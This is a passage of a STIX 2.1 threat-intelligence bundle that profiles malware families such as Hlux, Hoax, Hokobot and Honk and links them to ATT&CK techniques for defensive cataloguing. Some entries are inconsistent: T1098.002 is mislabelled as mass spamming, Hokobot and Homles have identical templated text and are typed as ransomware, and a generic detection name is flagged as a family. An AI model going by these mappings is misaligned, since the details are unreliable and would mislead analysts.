IP addresses to contact the P2P network (`T1090`). Once connected, it downloads the latest list of active peers and receives encrypted tasks (`T1573`). These tasks included sniffing network traffic to steal FTP/email credentials (`T1040`), searching the hard drive for Bitcoin wallet files (`T1005`), and acting as an SMTP relay to blast out spam promoting pump-and-dump stock scams or pharmaceutical fraud (`T1098.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact includes severe bandwidth consumption, IP blacklisting, and credential theft. Host-based IoCs include EDR alerts for injected processes creating massive amounts of outbound network connections to seemingly random IP addresses (other infected peers). Network IoCs are characterized by constant, encrypted UDP and TCP traffic on non-standard ports communicating with a wide variety of global IPs, rather than a single C2 domain. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hlux",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hlux"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f5dedf5-b0d3-5d90-9784-ad88081d8d63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76711529-a155-5ba7-b843-649c60376c31",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hlux exhibits technique T1090 (Proxy: Peer-to-Peer Routing (P2P Botnet architecture))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a70fccaf-e2f4-56fd-a2f9-449dcc7d0d08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1098.002: Account Manipulation: Additional Email Delegate Permissions (Mass spamming)",
      "description": "MITRE ATT&CK Technique T1098.002 (Account Manipulation: Additional Email Delegate Permissions (Mass spamming)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1098.002",
          "url": "https://attack.mitre.org/techniques/T1098/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1203fcc0-c0e6-57b2-902c-35b3122a9267",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76711529-a155-5ba7-b843-649c60376c31",
      "target_ref": "attack-pattern--a70fccaf-e2f4-56fd-a2f9-449dcc7d0d08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hlux exhibits technique T1098.002 (Account Manipulation: Additional Email Delegate Permissions (Mass spamming))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4905498-434b-591c-9ae3-1f431b635192",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76711529-a155-5ba7-b843-649c60376c31",
      "target_ref": "attack-pattern--1eb20a78-23ea-5df6-b008-396219ebd531",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hlux exhibits technique T1040 (Network Sniffing (Stealing credentials in transit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2eb7b52e-0926-5381-87a9-4ff3b2344261",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76711529-a155-5ba7-b843-649c60376c31",
      "target_ref": "attack-pattern--a73094ae-6cb5-53a9-a937-65ad0cac8744",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hlux exhibits technique T1573 (Encrypted Channel (P2P communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--16038196-0cef-5857-8f1d-2b0e4daec6e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hmgfa45Id4O",
      "description": "<h3>Executive Summary</h3>\n\"Hmgfa45id4o\" is a generic, machine-generated detection signature utilized by advanced heuristic antivirus engines. It is not a named malware family, but rather an indicator that a file exhibits suspicious, highly obfuscated, or trojan-like behaviors that warrant immediate quarantine and investigation, or that it is attempting to contact a Domain Generation Algorithm (DGA) domain.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe seemingly random string \"Hmgfa45id4o\" is typical of automated classification systems that flag files based on behavioral anomalies rather than static database matches. \n\nA file triggering this alert typically demonstrates several of the following characteristics:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using non-standard algorithms, a common tactic used by malware authors to hide the true payload from static analysis.</li>\n<li><strong>Suspicious API Calls:</strong> The program attempts to execute Windows APIs commonly associated with process injection, aiming to run malicious code within the context of a legitimate system process.</li>\n<li><strong>Unauthorized Network Connections:</strong> The executable attempts to establish outbound connections to unknown IP addresses or domains generated by a Domain Generation Algorithm (DGA) immediately upon execution.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, this alert is a severe security event. It frequently indicates a zero-day threat, a newly compiled variant of existing malware, or a customized initial access dropper designed specifically to bypass perimeter defenses.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Quarantine:</strong> Isolate the endpoint from the corporate network immediately to prevent potential lateral movement or the download of secondary, more destructive payloads.</li>\n<li><strong>Dynamic Analysis:</strong> Extract the flagged executable and submit it to an isolated malware sandbox. Monitor its behavior to identify the true payload, focusing on registry modifications, dropped files, and network IOCs.</li>\n<li><strong>Enterprise-Wide Sweeps:</strong> Utilize the IOCs discovered during sandboxing to conduct a comprehensive threat hunt across all managed endpoints to ensure the threat has not propagated.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Hmgfa45id4o",
        "Suspicious.Hmgfa45id4o",
        "Heur.Hmgfa45id4o"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hmgfa45Id4O",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hmgfa45id4o"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13238d49-c8ee-536a-b70e-bbf2c41bb682",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16038196-0cef-5857-8f1d-2b0e4daec6e4",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hmgfa45Id4O exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--903cfad7-4680-5373-bad3-6b2a04016369",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16038196-0cef-5857-8f1d-2b0e4daec6e4",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hmgfa45Id4O exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--918f2d20-0f67-597a-8c3f-75ef0feafd45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16038196-0cef-5857-8f1d-2b0e4daec6e4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hmgfa45Id4O exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9b34cb3-1333-5916-9665-5bc202eb394a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16038196-0cef-5857-8f1d-2b0e4daec6e4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hmgfa45Id4O exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63c16ff8-81fd-559d-bc2a-a6f31cdda46e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16038196-0cef-5857-8f1d-2b0e4daec6e4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hmgfa45Id4O exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fdaaa8e-1a55-58b9-9e9f-d22c21931854",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16038196-0cef-5857-8f1d-2b0e4daec6e4",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hmgfa45Id4O exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--225fb2ba-1609-5729-86dd-86f8dcbae5ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hoax",
      "description": "Hoax (cataloged across security vendors and threat intelligence databases under detections including Trojan-Ransom.Win32.Hoax, Ransom:Win32/Hoax, and Scareware.Hoax) is a landmark family of deceptive scareware, rogue security software, and fake ransomware active since 2008. Unlike crypto-ransomware that performs cryptographic file encryption, Hoax relies on social engineering and deceptive system locking. Upon execution, the malware displays fabricated system warnings claiming the host has been seized by law enforcement agencies (such as the FBI, Interpol, or Department of Justice) or contaminated with hundreds of critical viruses. The trojan locks down the Windows desktop, blocks access to Task Manager (taskmgr.exe), the Registry Editor (regedit.exe), and the Command Prompt (cmd.exe), and demands payment via prepaid money cards (such as Ukash, Paysafecard, or Moneypak) to unlock the machine. (Observed samples in benchmark: 48)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Ransom.Win32.Hoax",
        "Ransom:Win32/Hoax",
        "Scareware.Hoax",
        "Win32/Hoax",
        "FakeAV.Hoax"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hoax",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hoax"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80cc4672-4ee1-51bd-9720-c1e6563154b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--225fb2ba-1609-5729-86dd-86f8dcbae5ae",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hoax exhibits technique T1491 (Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd6d5b03-7953-5b33-ac2d-28c63d587d68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--225fb2ba-1609-5729-86dd-86f8dcbae5ae",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hoax exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af0319d0-9de7-5153-abc2-ae8421c47e8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--225fb2ba-1609-5729-86dd-86f8dcbae5ae",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hoax exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b4230cb-7071-5b9b-b85e-0c47308a6793",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--225fb2ba-1609-5729-86dd-86f8dcbae5ae",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hoax exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ac2ee1b-f7a2-52b9-b2e5-047e60c1ada1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--225fb2ba-1609-5729-86dd-86f8dcbae5ae",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hoax exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e1a798f8-98ea-5c85-a569-2339ab71f4ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hokobot",
      "description": "Trojan:Win32/Hokobot is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hokobot</b><br>To an end-user, a Hokobot infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hokobot is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hokobot is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hokobot frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hokobot reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hokobot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hokobot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41844f46-d098-5e3b-84f6-4956381a58d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1a798f8-98ea-5c85-a569-2339ab71f4ff",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hokobot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4154ca33-15c8-5eef-891a-e22aa4516e94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1a798f8-98ea-5c85-a569-2339ab71f4ff",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hokobot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95dc2cdb-039b-5406-8757-c7486765ba6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1a798f8-98ea-5c85-a569-2339ab71f4ff",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hokobot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--503f8b13-3793-517a-8957-e36ef9fa2c40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1a798f8-98ea-5c85-a569-2339ab71f4ff",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hokobot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26b0ce91-9972-5c8f-a09d-5067dbc38ee1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1a798f8-98ea-5c85-a569-2339ab71f4ff",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hokobot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6302085a-bc1f-5508-8dc9-a608dc422c5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Homles",
      "description": "Trojan:Win32/Homles is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Homles</b><br>To an end-user, a Homles infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Homles is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Homles is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Homles frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Homles reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Homles",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/homles"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--286f1252-c506-50c8-ad7b-1bd5a71af5fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6302085a-bc1f-5508-8dc9-a608dc422c5b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Homles exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc7124ab-43cb-53f3-b9c4-655d4457676c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6302085a-bc1f-5508-8dc9-a608dc422c5b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Homles exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--478b0aff-77bd-5c94-a13e-2be84f557cee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6302085a-bc1f-5508-8dc9-a608dc422c5b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Homles exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35a2356e-1d16-52aa-ae70-ef1a0e7184d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6302085a-bc1f-5508-8dc9-a608dc422c5b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Homles exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a982b662-0a32-5f05-93e0-626899be63b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6302085a-bc1f-5508-8dc9-a608dc422c5b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Homles exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7233b506-463e-52b7-bab6-ab90f51cb078",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Honk",
      "description": "<h3>Executive Summary</h3>\nHonk is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHonk is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Honk operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Honk ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Honk receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Honk infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Honk executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Honk frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Honk",
        "Downloader.Honk",
        "Win32/Honk"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Honk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/honk"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31d8e5a7-ef28-50fc-b024-4252539ff58b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7233b506-463e-52b7-bab6-ab90f51cb078",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Honk exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3de92331-6c28-521d-b38e-4db3db75c7c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7233b506-463e-52b7-bab6-ab90f51cb078",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Honk exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98875ebf-cd0a-59f2-9235-05521e3b2322",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7233b506-463e-52b7-bab6-ab90f51cb078",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Honk exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c8337763-1171-55e8-9bef-46c80e827f14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hooker",
